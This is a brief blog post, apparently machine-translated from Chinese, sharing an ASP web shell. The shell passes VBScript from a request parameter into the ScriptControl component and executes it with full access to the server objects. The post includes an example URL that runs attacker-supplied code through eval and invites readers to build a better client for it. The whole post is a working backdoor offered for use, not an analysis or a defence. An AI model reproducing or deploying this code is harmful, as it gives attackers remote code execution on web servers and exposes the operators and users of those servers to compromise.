Today, I re-studied the ScriptControl component in VB, and found that asp can also be called. After studying the method, we will discuss it with lcx. I got the following code and would like to thank my predecessors for their guidance.
The code is very simple, so I will not explain it more, so that no one will scold me for installation.
Copy codeThe Code is as follows: <%
Set o = Server. CreateObject ("ScriptControl ")
O. language = "vbscript"
O. addcode (Request ("SubCode") 'parameter SubCode as the Process Code
O. run "e", Server, Response, Request, Application, Session, Error 'parameter e is called, and six base objects are pushed as parameters at the same time.
'Call example:
'Http: // localhost/tmp. asp? SubCode = sub % 20e % 28 Server, Response, Request, Application, Session, error % 29% 20 eval % 28 request % 28% 22 v % 22% 29% 20end % 20sub & v = response. write % 28server. mappath % 28% 22tmp. asp % 22% 29% 29
%>
Note: although it can be used, the experiment found that only the lake2 client can be used. I hope that some cool people will make a general change. Haha. Writing a client for yourself is also good.
From: http://hi.baidu.com/ylbhz/blog